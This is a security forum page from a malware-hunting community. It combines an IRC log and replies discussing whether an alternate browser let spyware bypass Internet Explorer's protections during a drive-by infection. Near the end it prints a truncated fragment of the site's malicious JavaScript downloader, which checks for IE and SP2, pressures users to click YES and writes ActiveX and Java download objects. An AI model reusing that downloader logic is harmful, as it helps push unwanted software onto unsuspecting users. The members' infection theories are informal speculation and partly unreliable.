Theory

If you want to point someone at this post:
http://TomCoyote.org/Theory/
that link will bring you to here

My appologies if anyone takes anything said against thier browser, their surfing, their computer, their dogs or their cats, this is just a conversation that needs to be thought about


[ 09:39:25 ]  [ @Efwis ] I had fun teh other night, was surfing the web for a neildiamond song, got nailed with a major hijacking
[ 09:39:33 ]  [ @Efwis ] *Neil Diamond
[ 09:39:43 ]  [ @Coyote` ] neil will do that to you
[ 09:39:54 ]  [ @Coyote` ] go with Pink Floyd next time
[ 09:40:45 ]  [ @Efwis ] heh, hit me with 180solutions, l2m, 10 viruses 2 trojan downloaders, a java exploit, and a hompage hijack, went right around Moz and nailed IE
[ 09:40:46 ]  [ @Coyote` ] it's a crying shame that no one is safe looking for things nowadays
[ 09:41:12 ]  [ @Efwis ] oh I forgot ISTVbar and sidesearch
[ 09:41:41 ]  [ @Coyote` ] let's say you have IE secure, and you use another browser
[ 09:42:31 ]  [ @Coyote` ] this other browser allows something to happen that bypasses the first block you have built into IE say Iespyads, thus IE is now a target again through this other browser
[ 09:42:44 ]  [ @Coyote` ] this IS just a theory btw
[ 09:42:51 ]  [ @Coyote` ] but it is possible
[ 09:43:31 ]  [ @Coyote` ] now if you go to that same site in IE, nothing happens because your first block stopped it
[ 09:43:45 ]  [ @Efwis ] i'm looked in my IE_Spyad files, this page isn't even listed, although it should be, I think i will contact Eric Howes adn he can add it to his next update
[ 09:44:11 ]  [ @Coyote` ] are you in the classroom?
[ 09:44:18 ]  [ @Efwis ] yeah, your theory has merit adn is probably quite accurate
[ 09:44:22 ]  [ @Efwis ] yes I am
[ 09:44:32 ]  [ @Coyote` ] have you been keeping up with wng_z3r0's problem that I have posted to?
[ 09:44:45 ]  [ @Efwis ] no, got a link?
[ 09:44:53 ]  [ @Coyote` ] http://forums.tomcoyote.org/index.php?act=…ndpost&p=137765
[ 09:45:08 ]  [ @Coyote` ] took 4 pages of posts to finally get to the root of the problem
[ 09:45:26 ]  [ @Efwis ] looking
[ 09:45:41 ]  [ @Coyote` ] his shell browser covering IE allowed something IE wouldn't
[ 09:46:31 ]  [ @Coyote` ] not so much a theory anymore
[ 09:48:00 ]  [ @bozodog ] are you saying that Mozilla can let stuff through to IE and beyond?
[ 09:48:50 ]  [ @Coyote` ] I am not saying anything about moz, I am saying it is a possibility that an alternate browser can let things bypass to IE and therefore cause problems
[ 09:49:44 ]  [ @Coyote` ] and by them bypassing to IE, IE's protections can be bypassed that normally wouldn't if IE was in use instead of the alternate
[ 09:50:29 ]  [ @bozodog ] err.. I think I understand
[ 09:51:01 ]  [ @Coyote` ] it's like a layer effect, you have layers of protections you set in place, using an alternate browser, you can possibly bypass a layer
or two which in turn can lead to your being infected
[ 09:51:36 ]  [ @Coyote` ] it may not go in the front door but it might find a side window
[ 09:51:37 ]  [ @bozodog ] Ahh..
[ 09:52:45 ]  [ @Coyote` ] I won't say that it is possible with any particular browser, I think in fact it may be possible with any browser
[ 09:53:03 ]  [ @Coyote` ] but this is only theory at this point
[ 09:53:24 ]  [ @Coyote` ] some script kiddie will strive to make it happen on a regular basis eventually
[ 09:54:10 ]  [ @bozodog ] sounds like a solid thought… they are getting better at mucking up our systems..
[ 09:54:36 ]  [ @Coyote` ] well, the problem itself goes back to windows,
[ 09:54:53 ]  [ @Coyote` ] windows is made to accomodate users of limited knowledge
[ 09:55:06 ]  [ @bozodog ] but doesn't your AV, etc… do it's job in that case?
[ 09:55:09 ]  [ @Coyote` ] so that in itself is preyed upon by the kiddies
[ 09:55:36 ]  [ @Coyote` ] AV is only one part of an overall solution and it lacks a great deal of the overall protection
[ 09:56:07 ]  [ @Coyote` ] the AV chosen also plays a part in how that is defined
[ 09:56:42 ]  [ @Coyote` ] several AV's have weak real time scanning engines that fail at the sight of any infection
[ 09:57:15 ]  [ @Coyote` ] real time scanning engines are the only way to truly combat virus and trojans
[ 09:57:28 ]  [ @bozodog ] I only use Avast free… and spywareblaster etc..
[ 09:57:42 ]  [ @Coyote` ] I have not tried Avast
[ 09:57:51 ]  [ @Coyote` ] so I cannot comment on it
[ 09:58:27 ]  [ @bozodog ] it sure updates often, (2-3 times a day at times)
[ 09:58:51 ]  [ @Coyote` ] I hope that is because they are adding to the database and not correcting mistakes
[ 09:58:58 ]  [ @bozodog ] and scares the heck outa me when some baddie trys to get in
[ 09:59:15 ]  [ @bozodog ] yeah, it's data
[ 09:59:34 ]  [ @Coyote` ] well, you can't tell from the updating
[ 09:59:53 ]  [ @Coyote` ] you would have to disect each dataflow
[ 10:00:03 ]  [ @Coyote` ] and know what coding they use
[ 10:00:51 ]  [ @Efwis ] from looking at that post, i wouold say you are correct Tom, no longer a theory but a proven fact
[ 10:01:15 ]  [ @bozodog ] of course I don't surf the back alleys, or p2p stuff
[ 10:01:24 ]  [ @Coyote` ] well, fact for his situation, theory for other browsers at this point
[ 10:01:52 ]  [ @Coyote` ] bozodog look at what happened to Efwis looking for a neil diamond song
[ 10:01:59 ]  [ @Efwis ] based on what happened to me its a fact for Moz too
[ 10:02:01 ]  [ @bozodog ] yep
[ 10:02:30 ]  [ @bozodog ] do you use Moz of FF?
[ 10:02:31 ]  [ @Coyote` ] I hate it when I am correct about some of these theories but I am right too many times
[ 10:02:48 ]  [ @Efwis ] i went there with my IE yesterday, nothing happened, all my protections worked correctly
[ 10:03:13 ]  [ @bozodog ] you're like a hound dog.. you can sniff out problems
[ 10:03:13 ]  [ @Efwis ] so I am inclined to believe it is something actually programmed into the html code
[ 10:03:40 ]  [ @Efwis ] he is good at what he does, and I like his info, because he usually is correct bd
[ 10:04:23 ]  [ @bozodog ] don't I know it… he knows I have the highest respect for what he says

Efwis, can you post a link to the website

if such a theory were true, is there a way to "really" uninstall iexplorer?

this go over your head? the problem is not IE, if you have IE protected and then use an alternate browser that bypasses IE's protection, that is the problem. IE is integrated deep into the system, you can't get rid of it.

Efwis, can you post a link to the website

138129

That is something that I would rather not post for the safety of our members. However, I can tell you that the website is real since the above log is not mine, but a fellow malware hunter's log from going to the same site I did.

Efwis Has Jeff got his computer clean now - (Its in the path statements). Tip :- When posting make sure they are edited out.

IE is integrated deep into the system, you can't get rid of it.

138229

that's my point

If we can't really get rid of it, then how much use are other browsers? SUre they offer better protection than ie, but if malware can USE the other browser to bypass ie's security, then what is the point?

Hey Everyone, As you can see from the log Efwis posted (which is my log) I infected my PC. The infections aren't that tough to remove, you can easily remove the infections with Spybot Search & Destroy along with HJT after. I took my time in looking into the files and analyzing them. It's basic infections such as, IST, PowerScan, SideFind, Webrebates, and a few others. Now, here is an interesting piece of information. I decided to reinfect myself again (using the same link) but the second time I reinfected myself, there were a few new pieces of spyware installed. Mostly the same as before, but also added a few new things. Thought that was interesting. This might be something to look out for using Firefox to infect IE. ChrisRLG: Yes, I have cleaned out the infection. If you have any more questions for me, feel free to post them. I'll do my best to answer. B

Now, here is an interesting piece of information.  I decided to reinfect myself again (using the same link) but the second time I reinfected myself, there were a few new pieces of spyware installed.  Mostly the same as before, but also added a few new things.  Thought that was interesting.  This might be something to look out for using Firefox to infect IE. 

138308

This is my concern. If this is truly happening, it will spread like the plague (recall how fast Vx2 burst out). The above infection won't be tough to remove, and it would be easy enough to block one site with a Hosts file, but what is it going to evolve into?

Which begs the real questions: How to prevent this? Recommend switching back to IE? Shall I give up my tabbed browsing?

Gah, the hits just keep on coming, don't they?

It is always your choice as to what to use, I have always said though that if you don't protect IE then you are in for a surprise, now though even with protecting IE you could have a problem, so it is not that simple anymore given the above situation, should you switch back to IE and give up what you want? That you will have to answer for yourself, it is your computer.

This is a js file that was called to from the link in question that infected Efwis

DO NOT CLICK ON ANY LINKS IN THE CODE BELOW!!!

var flag=0;
 var loadfirst=0;
 var sp2=false;
 if(window.navigator.userAgent.indexOf("SV1") != -1) sp2=true;
 if (sp2){
   document.write('
');
 document.write('');
 function retryit(){	
	if(window.retry && retry>0) {
  	alert("You must click YES to have access");
  	loadfirst=0;
  	start_download();
  	retry–;
 function showActiveX() {
        holder.write('');
 function showJava() {
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
 function showNS() {
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
          holder.write('');
 function start_download() {
        var bname=navigator.appName;
        var bver=parseInt(navigator.appVersion);
        if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
                if(!loadfirst || sp2){
                        downloads_manager.document.close();
                        holder= downloads_manager.document;
                        holder=document;
                showActiveX();
                if (sp2) document.all.tutorial_popup.style.visibility = "visible";
                if(!flag && !sp2){
                        window.open("

Efwis, Do you happen to know which version of Firefox was being used? Rick

I can say at work using other browsers then MSIE is not allowed , for example Mozilla Firefox will always bypass the blocking we have on some websites. I have seen it , done it and reported it. Its more then logic that each browser needs his own different protection (if needed), because they are nested differently into your OS.

Efwis,
Do you happen to know which version of Firefox was being used?
Rick

138655

when it came to my infection it was through plain Mozilla version 1.7. Windows SP2 is installed on my machine also.

the log provided by Besttechie in this post was through IE.